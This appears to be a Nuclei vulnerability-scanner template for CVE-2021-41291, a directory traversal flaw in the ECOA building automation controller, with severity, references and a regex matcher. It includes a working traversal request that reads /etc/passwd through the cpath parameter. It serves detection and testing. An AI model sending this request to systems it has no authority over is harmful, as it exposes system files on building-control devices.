42 lines
1.8 KiB
YAML
42 lines
1.8 KiB
YAML
id: CVE-2021-41291
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info:
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name: ECOA Building Automation System - Directory Traversal Content Disclosure
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author: gy741
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severity: high
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description: The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
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impact: |
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An attacker can exploit this vulnerability to access sensitive files and directories, potentially exposing sensitive information.
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remediation: |
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Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41291
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- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php
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- https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html
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- https://www.twcert.org.tw/tw/cp-132-5127-3cbd3-1.html
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- https://github.com/ARPSyndicate/cvemon
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-41291
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cwe-id: CWE-22
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epss-score: 0.02626
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epss-percentile: 0.90324
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cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: ecoa
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product: ecs_router_controller-ecs_firmware
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tags: cve2021,cve,ecoa,lfi,traversal
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http:
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- raw:
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- |
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GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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# digest: 4a0a0047304502207a7a9c4eb1f6d88ab907ed75898c6c89513b60a8ec9f1502d7fdf3423b4ede7e022100c7433e0f70a4c7b46f3ece00d5c940a70f895108e18356877453d392a71c6059:922c64590222798bb761d5b6d8e72950 |